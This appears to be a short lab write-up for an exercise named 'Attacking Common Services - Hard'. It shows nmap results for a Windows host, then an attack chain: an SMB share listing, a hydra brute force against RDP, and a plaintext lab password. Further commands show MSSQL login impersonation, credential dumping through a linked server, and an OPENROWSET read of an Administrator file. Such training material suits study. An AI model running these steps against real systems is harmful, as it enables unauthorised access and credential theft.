Attacking Common Services - Hard
May 30, 2024
# Nmap 7.94 scan initiated Thu May 30 19:57:31 2024 as: nmap -sC -sV -oN nmap -Pn 10.129.203.10
Nmap scan report for 10.129.203.10
Host is up (0.29s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.129.203.10:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.203.10:1433:
| Target_Name: WIN-HARD
| NetBIOS_Domain_Name: WIN-HARD
| NetBIOS_Computer_Name: WIN-HARD
| DNS_Domain_Name: WIN-HARD
| DNS_Computer_Name: WIN-HARD
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-05-30T11:53:11
|_Not valid after: 2054-05-30T11:53:11
|_ssl-date: 2024-05-30T11:58:58+00:00; +5s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: WIN-HARD
| NetBIOS_Domain_Name: WIN-HARD
| NetBIOS_Computer_Name: WIN-HARD
| DNS_Domain_Name: WIN-HARD
| DNS_Computer_Name: WIN-HARD
| Product_Version: 10.0.17763
|_ System_Time: 2024-05-30T11:58:20+00:00
| ssl-cert: Subject: commonName=WIN-HARD
| Not valid before: 2024-05-29T11:53:01
|_Not valid after: 2024-11-28T11:53:01
|_ssl-date: 2024-05-30T11:58:57+00:00; +4s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 3s
| smb2-time:
| date: 2024-05-30T11:58:22
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 30 19:58:54 2024 -- 1 IP address (1 host up) scanned in 83.34 seconds
smbclient -N -L 10.129.203.10
smbclient \\\\10.129.203.10\\Home
I found password in rdp part but not in mssql hydra
hydra -l fiona -P creds.txt rdp://10.129.203.10
But then i just use the same password for the user fiona to connect to the mssql service
login: fiona password: 48Ns72!bns74@S84NNNSlimpacket-mssqlclient -p 1433 fiona@10.129.203.10 -windows-auth
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
EXECUTE AS LOGIN = 'john'
EXEC sp_tables_ex @table_server = 'LOCAL.TEST.LINKED.SRV', @table_catalog = 'TestAppDB';
EXEC sp_columns_ex @table_server = 'LOCAL.TEST.LINKED.SRV', @table_catalog = 'TestAppDB', @table_name = 'tb_users';
SELECT abc.username FROM [LOCAL.TEST.LINKED.SRV].[TestAppDB].[dbo].[tb_users] abc
SELECT abc.password FROM [LOCAL.TEST.LINKED.SRV].[TestAppDB].[dbo].[tb_users] abc
SELECT abc.privileges FROM [LOCAL.TEST.LINKED.SRV].[TestAppDB].[dbo].[tb_users] abc
EXECUTE('SELECT * FROM OPENROWSET(BULK N''C:/Users/Administrator/Desktop/flag.txt'', SINGLE_CLOB) AS Contents') AT [LOCAL.TEST.LINKED.SRV]
Last updated